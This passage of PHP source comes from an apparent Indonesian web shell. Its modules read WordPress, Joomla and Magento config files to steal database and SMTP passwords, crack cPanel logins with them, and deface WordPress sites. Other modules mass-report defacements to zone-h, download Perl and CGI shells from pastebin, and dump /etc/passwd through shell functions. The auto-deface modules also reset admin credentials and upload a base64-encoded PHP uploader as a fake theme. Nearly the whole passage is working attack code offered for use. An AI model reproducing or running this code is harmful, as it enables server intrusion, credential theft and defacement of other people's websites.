  1601. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1602. } else {
  1603. $_SESSION[$ucp] = "1";
  1604. $_SESSION[$pcp] = "1";
  1605. $i++;
  1606. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1607. }
  1608. }
  1609. }
  1610. }
  1611. if($i == 0) {
  1612. } else {
  1613. echo "<br>Nemu ".$i." Cpanel by <font color=lime>JanCox</font>";
  1614. }
  1615. } else {
  1616. echo "<center>
  1617. <form method='post'>
  1618. USER: <br>
  1619. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1620. $_usercp = fopen("/etc/passwd","r");
  1621. while($getu = fgets($_usercp)) {
  1622. if($getu == '' || !$_usercp) {
  1623. echo "<font color=red>Can't read /etc/passwd</font>";
  1624. } else {
  1625. preg_match_all("/(.*?):x:/", $getu, $u);
  1626. foreach($u[1] as $user_cp) {
  1627. if(is_dir("/home/$user_cp/public_html")) {
  1628. echo "$user_cp\n";
  1629. }
  1630. }
  1631. }
  1632. }
  1633. echo "</textarea><br>
  1634. PASS: <br>
  1635. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1636. function cp_pass($dir) {
  1637. $pass = "";
  1638. $dira = scandir($dir);
  1639. foreach($dira as $dirb) {
  1640. if(!is_file("$dir/$dirb")) continue;
  1641. $ambil = file_get_contents("$dir/$dirb");
  1642. if(preg_match("/WordPress/", $ambil)) {
  1643. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1644. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1645. $pass .= ambilkata($ambil,"password = '","'")."\n";
  1646. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1647. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1648. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1649. $pass .= ambilkata($ambil,'password = "','"')."\n";
  1650. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1651. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1652. } elseif(preg_match("/client/", $ambil)) {
  1653. preg_match("/password=(.*)/", $ambil, $pass1);
  1654. if(preg_match('/"/', $pass1[1])) {
  1655. $pass1[1] = str_replace('"', "", $pass1[1]);
  1656. $pass .= $pass1[1]."\n";
  1657. }
  1658. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1659. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1660. }
  1661. }
  1662. echo $pass;
  1663. }
  1664. $cp_pass = cp_pass($dir);
  1665. echo $cp_pass;
  1666. echo "</textarea><br>
  1667. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1668. </form>
  1669. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1670. }
  1671. } elseif($_GET['do'] == 'smtp') {
  1672. echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1673. function scj($dir) {
  1674. $dira = scandir($dir);
  1675. foreach($dira as $dirb) {
  1676. if(!is_file("$dir/$dirb")) continue;
  1677. $ambil = file_get_contents("$dir/$dirb");
  1678. $ambil = str_replace("$", "", $ambil);
  1679. if(preg_match("/JConfig|joomla/", $ambil)) {
  1680. $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1681. $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1682. $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1683. $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1684. $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1685. $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1686. echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  1687. echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  1688. echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  1689. echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  1690. echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  1691. echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  1692. }
  1693. }
  1694. }
  1695. $smpt_hunter = scj($dir);
  1696. echo $smpt_hunter;
  1697. } elseif($_GET['do'] == 'auto_wp') {
  1698. if($_POST['hajar']) {
  1699. $title = htmlspecialchars($_POST['new_title']);
  1700. $pn_title = str_replace(" ", "-", $title);
  1701. if($_POST['cek_edit'] == "Y") {
  1702. $script = $_POST['edit_content'];
  1703. } else {
  1704. $script = $title;
  1705. }
  1706. $conf = $_POST['config_dir'];
  1707. $scan_conf = scandir($conf);
  1708. foreach($scan_conf as $file_conf) {
  1709. if(!is_file("$conf/$file_conf")) continue;
  1710. $config = file_get_contents("$conf/$file_conf");
  1711. if(preg_match("/WordPress/", $config)) {
  1712. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1713. $dbuser = ambilkata($config,"DB_USER', '","'");
  1714. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1715. $dbname = ambilkata($config,"DB_NAME', '","'");
  1716. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1717. $prefix = $dbprefix."posts";
  1718. $option = $dbprefix."options";
  1719. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1720. $db = mysql_select_db($dbname);
  1721. $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1722. $result = mysql_fetch_array($q);
  1723. $id = $result[ID];
  1724. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1725. $result2 = mysql_fetch_array($q2);
  1726. $target = $result2[option_value];
  1727. $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1728. $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1729. echo "<div style='margin: 5px auto;'>";
  1730. if($target == '') {
  1731. echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1732. } else {
  1733. echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1734. }
  1735. if(!$update OR !$conn OR !$db) {
  1736. echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1737. } else {
  1738. echo "<font color=lime>sukses di ganti.</font><br>";
  1739. }
  1740. echo "</div>";
  1741. mysql_close($conn);
  1742. }
  1743. }
  1744. } else {
  1745. echo "<center>
  1746. <h1>Auto Edit Title+Content WordPress</h1>
  1747. <form method='post'>
  1748. DIR Config: <br>
  1749. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1750. Set Title: <br>
  1751. <input type='text' name='new_title' value='Hacked By 0x1999' placeholder='New Title'><br><br>
  1752. Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1753. <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1754. <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1755. <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1756. </form>
  1757. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1758. ";
  1759. }
  1760. } elseif($_GET['do'] == 'zoneh') {
  1761. if($_POST['submit']) {
  1762. $domain = explode("\r\n", $_POST['url']);
  1763. $nick = $_POST['nick'];
  1764. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1765. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1766. function zoneh($url,$nick) {
  1767. $ch = curl_init("http://www.zone-h.com/notify/single");
  1768. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1769. curl_setopt($ch, CURLOPT_POST, true);
  1770. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1771. return curl_exec($ch);
  1772. curl_close($ch);
  1773. }
  1774. foreach($domain as $url) {
  1775. $zoneh = zoneh($url,$nick);
  1776. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1777. echo "$url -> <font color=lime>OK</font><br>";
  1778. } else {
  1779. echo "$url -> <font color=red>ERROR</font><br>";
  1780. }
  1781. }
  1782. } else {
  1783. echo "<center><form method='post'>
  1784. <u>Defacer</u>: <br>
  1785. <input type='text' name='nick' size='50' value='Monkey B Luffy'><br>
  1786. <u>Domains</u>: <br>
  1787. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1788. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1789. </form>";
  1790. }
  1791. echo "</center>";
  1792. } elseif($_GET['do'] == 'lcf') {
  1793. mkdir('LCF',0755);
  1794. chdir('LCF');
  1795. $kokdosya = ".htaccess";
  1796. $dosya_adi = "$kokdosya";
  1797. $dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
  1798. $metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
  1799. \n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType application/octet-stream .php";
  1800. fwrite ( $dosya , $metin ) ;
  1801. fclose ($dosya);
  1802. $file = fopen("lcf.pl","w+");
  1803. $write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
  1804. fclose($file);
  1805. chmod("lcf.pl",0755);
  1806. echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
  1807. }
  1808. elseif($_GET['do'] == 'cgi') {
  1809. $cgi_dir = mkdir('idx_cgi', 0755);
  1810. $file_cgi = "idx_cgi/cgi.izo";
  1811. $isi_htcgi = "AddHandler cgi-script .izo";
  1812. $htcgi = fopen(".htaccess", "w");
  1813. $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  1814. $cgi = fopen($file_cgi, "w");
  1815. fwrite($cgi, $cgi_script);
  1816. fwrite($htcgi, $isi_htcgi);
  1817. chmod($file_cgi, 0755);
  1818. echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1819. } elseif($_GET['do'] == 'fake_root') {
  1820. ob_start();
  1821. function reverse($url) {
  1822. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  1823. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1824. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  1825. curl_setopt($ch, CURLOPT_HEADER, 0);
  1826. curl_setopt($ch, CURLOPT_POST, 1);
  1827. $resp = curl_exec($ch);
  1828. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1829. $array = explode(",,", $resp);
  1830. unset($array[0]);
  1831. foreach($array as $lnk) {
  1832. $lnk = "http://$lnk";
  1833. $lnk = str_replace(",", "", $lnk);
  1834. echo $lnk."\n";
  1835. ob_flush();
  1836. flush();
  1837. }
  1838. curl_close($ch);
  1839. }
  1840. function cek($url) {
  1841. $ch = curl_init($url);
  1842. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1843. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1844. $resp = curl_exec($ch);
  1845. return $resp;
  1846. }
  1847. $cwd = getcwd();
  1848. $ambil_user = explode("/", $cwd);
  1849. $user = $ambil_user[2];
  1850. if($_POST['reverse']) {
  1851. $site = explode("\r\n", $_POST['url']);
  1852. $file = $_POST['file'];
  1853. foreach($site as $url) {
  1854. $cek = cek("$url/~$user/$file");
  1855. if(preg_match("/hacked/i", $cek)) {
  1856. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1857. }
  1858. }
  1859. } else {
  1860. echo "<center><form method='post'>
  1861. Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1862. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1863. Domain: <br>
  1864. <textarea style='width: 450px; height: 250px;' name='url'>";
  1865. reverse($_SERVER['HTTP_HOST']);
  1866. echo "</textarea><br>
  1867. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1868. </form><br>
  1869. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1870. }
  1871. } elseif($_GET['do'] == 'adminer') {
  1872. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1873. function adminer($url, $isi) {
  1874. $fp = fopen($isi, "w");
  1875. $ch = curl_init();
  1876. curl_setopt($ch, CURLOPT_URL, $url);
  1877. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1878. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1879. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1880. curl_setopt($ch, CURLOPT_FILE, $fp);
  1881. return curl_exec($ch);
  1882. curl_close($ch);
  1883. fclose($fp);
  1884. ob_flush();
  1885. flush();
  1886. }
  1887. if(file_exists('adminer.php')) {
  1888. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1889. } else {
  1890. if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1891. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1892. } else {
  1893. echo "<center><font color=red>gagal buat file adminer</font></center>";
  1894. }
  1895. }
  1896. }elseif($_GET['do'] == 'passwbypass') {
  1897. echo '<center>Bypass etc/passw With:<br>
  1898. <table style="width:50%">
  1899. <tr>
  1900. <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  1901. <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  1902. <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
  1903. <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
  1904. <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  1905. </tr></table>Bypass User With : <table style="width:50%">
  1906. <tr>
  1907. <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  1908. <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  1909. <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
  1910. <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
  1911. <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  1912. </tr>
  1913. </table><br>';
  1914.  
  1915.  
  1916. if ($_POST['awkuser']) {
  1917. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1918. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  1919. echo "</textarea><br>";
  1920. }
  1921. if ($_POST['systuser']) {
  1922. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1923. echo system("ls /var/mail");
  1924. echo "</textarea><br>";
  1925. }
  1926. if ($_POST['passthuser']) {
  1927. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1928. echo passthru("ls /var/mail");
  1929. echo "</textarea><br>";
  1930. }
  1931. if ($_POST['exuser']) {
  1932. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1933. echo exec("ls /var/mail");
  1934. echo "</textarea><br>";
  1935. }
  1936. if ($_POST['shexuser']) {
  1937. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1938. echo shell_exec("ls /var/mail");
  1939. echo "</textarea><br>";
  1940. }
  1941. if($_POST['syst'])
  1942. {
  1943. echo"<textarea class='inputz' cols='65' rows='15'>";
  1944. echo system("cat /etc/passwd");
  1945. echo"</textarea><br><br><b></b><br>";
  1946. }
  1947. if($_POST['passth'])
  1948. {
  1949. echo"<textarea class='inputz' cols='65' rows='15'>";
  1950. echo passthru("cat /etc/passwd");
  1951. echo"</textarea><br><br><b></b><br>";
  1952. }
  1953. if($_POST['ex'])
  1954. {
  1955. echo"<textarea class='inputz' cols='65' rows='15'>";
  1956. echo exec("cat /etc/passwd");
  1957. echo"</textarea><br><br><b></b><br>";
  1958. }
  1959. if($_POST['shex'])
  1960. {
  1961. echo"<textarea class='inputz' cols='65' rows='15'>";
  1962. echo shell_exec("cat /etc/passwd");
  1963. echo"</textarea><br><br><b></b><br>";
  1964. }
  1965. echo '<center>';
  1966. if($_POST['melex'])
  1967. {
  1968. echo"<textarea class='inputz' cols='65' rows='15'>";
  1969. for($uid=0;$uid<60000;$uid++){
  1970. $ara = posix_getpwuid($uid);
  1971. if (!empty($ara)) {
  1972. while (list ($key, $val) = each($ara)){
  1973. print "$val:";
  1974. }
  1975. print "\n";
  1976. }
  1977. }
  1978. echo"</textarea><br><br>";
  1979. }
  1980. //
  1981.  
  1982. //
  1983. } elseif($_GET['do'] == 'auto_dwp') {
  1984. if($_POST['auto_deface_wp']) {
  1985. function anucurl($sites) {
  1986. $ch = curl_init($sites);
  1987. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1988. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1989. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1990. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1991. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1992. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1993. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1994. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1995. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1996. $data = curl_exec($ch);
  1997. curl_close($ch);
  1998. return $data;
  1999. }
  2000. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2001. $post = array(
  2002. "log" => "$userr",
  2003. "pwd" => "$pass",
  2004. "rememberme" => "forever",
  2005. "wp-submit" => "$wp_submit",
  2006. "redirect_to" => "$web",
  2007. "testcookie" => "1",
  2008. );
  2009. $ch = curl_init($cek);
  2010. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2011. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2012. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2013. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2014. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2015. curl_setopt($ch, CURLOPT_POST, 1);
  2016. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2017. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2018. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2019. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2020. $data = curl_exec($ch);
  2021. curl_close($ch);
  2022. return $data;
  2023. }
  2024. $scan = $_POST['link_config'];
  2025. $link_config = scandir($scan);
  2026. $script = htmlspecialchars($_POST['script']);
  2027. $user = "0x1999";
  2028. $pass = "0x1999";
  2029. $passx = md5($pass);
  2030. foreach($link_config as $dir_config) {
  2031. if(!is_file("$scan/$dir_config")) continue;
  2032. $config = file_get_contents("$scan/$dir_config");
  2033. if(preg_match("/WordPress/", $config)) {
  2034. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2035. $dbuser = ambilkata($config,"DB_USER', '","'");
  2036. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2037. $dbname = ambilkata($config,"DB_NAME', '","'");
  2038. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2039. $prefix = $dbprefix."users";
  2040. $option = $dbprefix."options";
  2041. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2042. $db = mysql_select_db($dbname);
  2043. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2044. $result = mysql_fetch_array($q);
  2045. $id = $result[ID];
  2046. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2047. $result2 = mysql_fetch_array($q2);
  2048. $target = $result2[option_value];
  2049. if($target == '') {
  2050. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2051. } else {
  2052. echo "[+] $target <br>";
  2053. }
  2054. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2055. if(!$conn OR !$db OR !$update) {
  2056. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2057. mysql_close($conn);
  2058. } else {
  2059. $site = "$target/wp-login.php";
  2060. $site2 = "$target/wp-admin/theme-install.php?upload";
  2061. $b1 = anucurl($site2);
  2062. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2063. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2064. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2065. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2066. $www = "m.php";
  2067. $fp5 = fopen($www,"w");
  2068. fputs($fp5,$upload3);
  2069. $post2 = array(
  2070. "_wpnonce" => "$anu2",
  2071. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2072. "themezip" => "@$www",
  2073. "install-theme-submit" => "Install Now",
  2074. );
  2075. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2076. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2077. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2078. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2079. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2080. curl_setopt($ch, CURLOPT_POST, 1);
  2081. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2082. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2083. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2084. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2085. $data3 = curl_exec($ch);
  2086. curl_close($ch);
  2087. $y = date("Y");
  2088. $m = date("m");
  2089. $namafile = "id.php";
  2090. $fpi = fopen($namafile,"w");
  2091. fputs($fpi,$script);
  2092. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2093. curl_setopt($ch6, CURLOPT_POST, true);
  2094. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2095. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2096. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2097. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2098. curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  2099. $postResult = curl_exec($ch6);
  2100. curl_close($ch6);
  2101. $as = "$target/k.php";
  2102. $bs = anucurl($as);
  2103. if(preg_match("#$script#is", $bs)) {
  2104. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2105. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2106. } else {
  2107. echo "[-] <font color='red'>gagal mepes...</font><br>";
  2108. echo "[!!] coba aja manual: <br>";
  2109. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2110. echo "[+] username: <font color=lime>$user</font><br>";
  2111. echo "[+] password: <font color=lime>$pass</font><br><br>";
  2112. }
  2113. mysql_close($conn);
  2114. }
  2115. }
  2116. }
  2117. } else {
  2118. echo "<center><h1>WordPress Auto Deface</h1>
  2119. <form method='post'>
  2120. <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  2121. <input type='text' name='script' height='10' size='50' placeholder='Hacked By 0x1999' required><br>
  2122. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  2123. </form>
  2124. <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  2125. </center>";
  2126. }
  2127. } elseif($_GET['do'] == 'auto_dwp2') {
  2128. if($_POST['auto_deface_wp']) {
  2129. function anucurl($sites) {
  2130. $ch = curl_init($sites);
  2131. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2132. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2133. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2134. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  2135. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2136. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2137. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2138. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2139. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  2140. $data = curl_exec($ch);
  2141. curl_close($ch);
  2142. return $data;
  2143. }
  2144. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  2145. $post = array(
  2146. "log" => "$userr",
  2147. "pwd" => "$pass",
  2148. "rememberme" => "forever",
  2149. "wp-submit" => "$wp_submit",
  2150. "redirect_to" => "$web",
  2151. "testcookie" => "1",
  2152. );
  2153. $ch = curl_init($cek);
  2154. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2155. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2156. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  2157. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2158. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2159. curl_setopt($ch, CURLOPT_POST, 1);
  2160. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  2161. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2162. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2163. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2164. $data = curl_exec($ch);
  2165. curl_close($ch);
  2166. return $data;
  2167. }
  2168. $link = explode("\r\n", $_POST['link']);
  2169. $script = htmlspecialchars($_POST['script']);
  2170. $user = "indoxploit";
  2171. $pass = "indoxploit";
  2172. $passx = md5($pass);
  2173. foreach($link as $dir_config) {
  2174. $config = anucurl($dir_config);
  2175. $dbhost = ambilkata($config,"DB_HOST', '","'");
  2176. $dbuser = ambilkata($config,"DB_USER', '","'");
  2177. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2178. $dbname = ambilkata($config,"DB_NAME', '","'");
  2179. $dbprefix = ambilkata($config,"table_prefix = '","'");
  2180. $prefix = $dbprefix."users";
  2181. $option = $dbprefix."options";
  2182. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2183. $db = mysql_select_db($dbname);
  2184. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2185. $result = mysql_fetch_array($q);
  2186. $id = $result[ID];
  2187. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2188. $result2 = mysql_fetch_array($q2);
  2189. $target = $result2[option_value];
  2190. if($target == '') {
  2191. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2192. } else {
  2193. echo "[+] $target <br>";
  2194. }
  2195. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2196. if(!$conn OR !$db OR !$update) {
  2197. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2198. mysql_close($conn);
  2199. } else {
  2200. $site = "$target/wp-login.php";
  2201. $site2 = "$target/wp-admin/theme-install.php?upload";
  2202. $b1 = anucurl($site2);
  2203. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2204. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2205. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
